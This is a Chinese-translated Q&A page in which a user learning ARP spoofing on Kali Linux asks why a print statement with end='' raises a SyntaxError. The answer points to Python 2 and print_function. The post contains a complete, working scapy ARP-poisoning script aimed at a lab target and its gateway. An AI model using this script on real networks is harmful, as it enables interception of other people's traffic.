我该如何纠正这个错误? print("\r+ 数据包发送:" + str(sent_packets_count), end="") ^ SyntaxError:

Posted

技术标签:

【中文标题】我该如何纠正这个错误? print("\\r+ 数据包发送:" + str(sent_packets_count), end="") ^ SyntaxError: 无效语法 [重复]【英文标题】:How do i correct this error ? print("\r+ Packets Send: " + str(sent_packets_count), end="") ^ SyntaxError: invalid syntax [duplicate]我该如何纠正这个错误? print("\r+ 数据包发送:" + str(sent_packets_count), end="") ^ SyntaxError: 无效语法 [重复] 【发布时间】:2021-04-21 04:27:13 【问题描述】:

我正在使用 kali Linux 学习 arp 欺骗,当我运行我的代码时,这是我得到的。我该如何纠正这个错误?enter image description here

下面是我的代码:

**#!/usr/bin/env python
import scapy.all as scapy
import time

target_ip = "10.0.2.16"
gateway_ip = "10.0.2.1"
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r+ Packets Send: " + str(sent_packets_count), end="")
        time.sleep(2)
except KeyboardInterrupt:
    print("\n- Detected CTRL + C... Resetting ARP tables ... Please wait.\n")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)**

【问题讨论】:

【参考方案1】:

如果您使用的是 Python 2,请确保添加

from __future__ import print_function

在程序的顶部。 Python 2 的打印功能不支持end= 等Python 3 功能。更多信息请见https://www.python.org/dev/peps/pep-3105/

【讨论】:

以上是关于我该如何纠正这个错误? print("\r+ 数据包发送:" + str(sent_packets_count), end="") ^ SyntaxError:的主要内容,如果未能解决你的问题,请参考以下文章

PayPal - 继续购物链接/按钮无法像以前那样工作 - 我该如何纠正这个问题?

终端上的Typescript变量语法错误

Stat() 函数返回值 -1,因此无法访问文件属性。我该如何纠正?

我得到一个逻辑错误,我该如何解决这个问题?

尝试打开 phpmyadmin 时出现错误 403。我该怎么做才能纠正它?

我该如何解决这个“Invalid `Podfile`”错误?